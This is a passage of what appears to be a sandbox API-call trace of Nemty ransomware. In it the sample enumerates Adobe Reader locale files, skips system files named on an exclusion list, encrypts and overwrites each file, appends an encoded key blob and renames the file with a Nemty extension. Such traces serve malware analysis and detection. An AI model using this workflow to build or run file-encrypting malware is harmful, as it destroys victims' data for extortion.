dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.882] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.882] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.882] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.882] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="EeQuwGXt5BTQmoCMePvfKG4VXKjgJlB9Nr79xRs/LHBHQCBmvZ4NzqLhemkg6Dgm\r\nE05mzl78VesQO/a6VMR+v+qQSa8lE+uuvNsge/Pg0yKNvgyoXj8DU3BZtJ3JUw0N\r\ndAdUF/WVUQWazgMg72zANUXaTsHe7Ipuq3F5KA5w1eej55MEDC86Pi6wFhy19ZcH\r\nLVLVBTSbWiGfKzq7vU4k9BEr7Ud0jCK0n34geB5PXzqBc5HxyABaUkKDbHE0M+7Z\r\n9YfvdK+CzMX4AWctdJWgMfro5DtvmEG5OxjlZxpOI2/TlZ/OWSYCI79VVSwCgUV3\r\nMM+5qlnrzPZO1a3fZddB0Q==\r\n", pcchString=0x653e5dc) returned 1 [0179.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.882] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Checkers.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\checkers.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.883] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=120832) returned 1 [0179.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0179.883] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.883] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0179.892] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.892] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0179.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.892] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=120832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1d800 [0179.892] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.893] CloseHandle (hObject=0x2e8) returned 1 [0179.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.893] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Checkers.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\checkers.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Checkers.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\checkers.nor._nemty_kgobjgd_")) returned 1 [0179.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.894] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.NOR", cAlternateFileName="")) returned 1 [0179.894] lstrcmpiW (lpString1="DigSig.NOR", lpString2=".") returned 1 [0179.894] lstrcmpiW (lpString1="DigSig.NOR", lpString2="..") returned 1 [0179.894] lstrcmpiW (lpString1="DigSig.NOR", lpString2="...") returned 1 [0179.894] lstrcmpiW (lpString1="DigSig.NOR", lpString2="windows") returned -1 [0179.894] lstrcmpiW (lpString1="DigSig.NOR", lpString2="$RECYCLE.BIN") returned 1 [0179.894] lstrcmpiW (lpString1="DigSig.NOR", lpString2="rsa") returned -1 [0179.894] lstrcmpiW (lpString1="DigSig.NOR", lpString2="NTDETECT.COM") returned -1 [0179.894] lstrcmpiW (lpString1="DigSig.NOR", lpString2="ntldr") returned -1 [0179.894] lstrcmpiW (lpString1="DigSig.NOR", lpString2="MSDOS.SYS") returned -1 [0179.894] lstrcmpiW (lpString1="DigSig.NOR", lpString2="IO.SYS") returned -1 [0179.894] lstrcmpiW (lpString1="DigSig.NOR", lpString2="boot.ini") returned 1 [0179.894] lstrcmpiW (lpString1="DigSig.NOR", lpString2="boot.ini") returned 1 [0179.894] lstrcmpiW (lpString1="DigSig.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.894] lstrcmpiW (lpString1="DigSig.NOR", lpString2="ntuser.dat") returned -1 [0179.894] lstrcmpiW (lpString1="DigSig.NOR", lpString2="desktop.ini") returned 1 [0179.894] lstrcmpiW (lpString1="DigSig.NOR", lpString2="CONFIG.SYS") returned 1 [0179.894] lstrcmpiW (lpString1="DigSig.NOR", lpString2="RECYCLER") returned -1 [0179.894] lstrcmpiW (lpString1="DigSig.NOR", lpString2="BOOTSECT.BAK") returned 1 [0179.894] lstrcmpiW (lpString1="DigSig.NOR", lpString2="bootmgr") returned 1 [0179.894] lstrcmpiW (lpString1="DigSig.NOR", lpString2="programdata") returned -1 [0179.894] lstrcmpiW (lpString1="DigSig.NOR", lpString2="appdata") returned 1 [0179.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.NOR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.NOR", lpUsedDefaultChar=0x0) returned 10 [0179.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.NOR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.NOR", lpUsedDefaultChar=0x0) returned 10 [0179.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.NOR", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.NOR", lpUsedDefaultChar=0x0) returned 10 [0179.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.NOR", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.NOR", lpUsedDefaultChar=0x0) returned 10 [0179.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0179.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0179.895] Sleep (dwMilliseconds=0x5) [0179.897] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1edfb530, dwHighDateTime=0x1d561e8)) [0179.897] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1edfb530, dwHighDateTime=0x1d561e8)) [0179.897] GetLastError () returned 0x0 [0179.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.897] GetLastError () returned 0x0 [0179.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.897] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.897] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.897] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0179.897] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="XIvE2GVHK9HpP/RMtvj0jtSUiLXAJwxqqedUE9IUkF8biX5wodIAlxWbCeQw4lUc\r\ngrVas3QpHfu36Jc9fvjK6u9+31/9ndwfUEFwZ+XtpIbL9ADUzGCiqimLPWok5zBR\r\nA/FTKFkJ7vCxRe77aFF/0Kn04cZ1i1DsIwPsVok8CkUPPXLk1q9RAn1AKR+BaarM\r\nSGj38cBzKb1nRPVKs0mnmCgfzuWB/8O24ffbFDgOZJgxexUjl2oNvnkHBKPZsmsm\r\noWgvRHjR4nfeRG/Ain6eCIXObaVLn40toDW1wlIjZcISlCoMgMnLN5fyomxDKoSh\r\nK4xIdsRyPFLKWKZtSU8tog==\r\n", pcchString=0x653e5dc) returned 1 [0179.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0179.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.898] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\DigSig.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\digsig.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.898] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=124928) returned 1 [0179.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0179.898] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.899] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0179.907] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.907] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0179.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.907] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=124928, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e800 [0179.907] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.907] CloseHandle (hObject=0x2e8) returned 1 [0179.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0179.908] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.908] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0179.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.908] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\DigSig.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\digsig.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\DigSig.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\digsig.nor._nemty_kgobjgd_")) returned 1 [0179.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0179.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0179.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0179.909] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.NOR", cAlternateFileName="")) returned 1 [0179.909] lstrcmpiW (lpString1="DVA.NOR", lpString2=".") returned 1 [0179.909] lstrcmpiW (lpString1="DVA.NOR", lpString2="..") returned 1 [0179.909] lstrcmpiW (lpString1="DVA.NOR", lpString2="...") returned 1 [0179.909] lstrcmpiW (lpString1="DVA.NOR", lpString2="windows") returned -1 [0179.909] lstrcmpiW (lpString1="DVA.NOR", lpString2="$RECYCLE.BIN") returned 1 [0179.909] lstrcmpiW (lpString1="DVA.NOR", lpString2="rsa") returned -1 [0179.909] lstrcmpiW (lpString1="DVA.NOR", lpString2="NTDETECT.COM") returned -1 [0179.909] lstrcmpiW (lpString1="DVA.NOR", lpString2="ntldr") returned -1 [0179.909] lstrcmpiW (lpString1="DVA.NOR", lpString2="MSDOS.SYS") returned -1 [0179.909] lstrcmpiW (lpString1="DVA.NOR", lpString2="IO.SYS") returned -1 [0179.909] lstrcmpiW (lpString1="DVA.NOR", lpString2="boot.ini") returned 1 [0179.909] lstrcmpiW (lpString1="DVA.NOR", lpString2="boot.ini") returned 1 [0179.909] lstrcmpiW (lpString1="DVA.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.909] lstrcmpiW (lpString1="DVA.NOR", lpString2="ntuser.dat") returned -1 [0179.909] lstrcmpiW (lpString1="DVA.NOR", lpString2="desktop.ini") returned 1 [0179.909] lstrcmpiW (lpString1="DVA.NOR", lpString2="CONFIG.SYS") returned 1 [0179.909] lstrcmpiW (lpString1="DVA.NOR", lpString2="RECYCLER") returned -1 [0179.909] lstrcmpiW (lpString1="DVA.NOR", lpString2="BOOTSECT.BAK") returned 1 [0179.909] lstrcmpiW (lpString1="DVA.NOR", lpString2="bootmgr") returned 1 [0179.909] lstrcmpiW (lpString1="DVA.NOR", lpString2="programdata") returned -1 [0179.909] lstrcmpiW (lpString1="DVA.NOR", lpString2="appdata") returned 1 [0179.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.NOR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0179.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.NOR", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.NOR", lpUsedDefaultChar=0x0) returned 7 [0179.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.NOR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0179.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.NOR", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.NOR", lpUsedDefaultChar=0x0) returned 7 [0179.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.NOR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0179.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.NOR", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.NOR", lpUsedDefaultChar=0x0) returned 7 [0179.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.NOR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0179.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.NOR", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.NOR", lpUsedDefaultChar=0x0) returned 7 [0179.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0179.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0179.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0179.910] Sleep (dwMilliseconds=0x5) [0179.912] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ee21690, dwHighDateTime=0x1d561e8)) [0179.912] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ee21690, dwHighDateTime=0x1d561e8)) [0179.913] GetLastError () returned 0x0 [0179.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.913] GetLastError () returned 0x0 [0179.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: 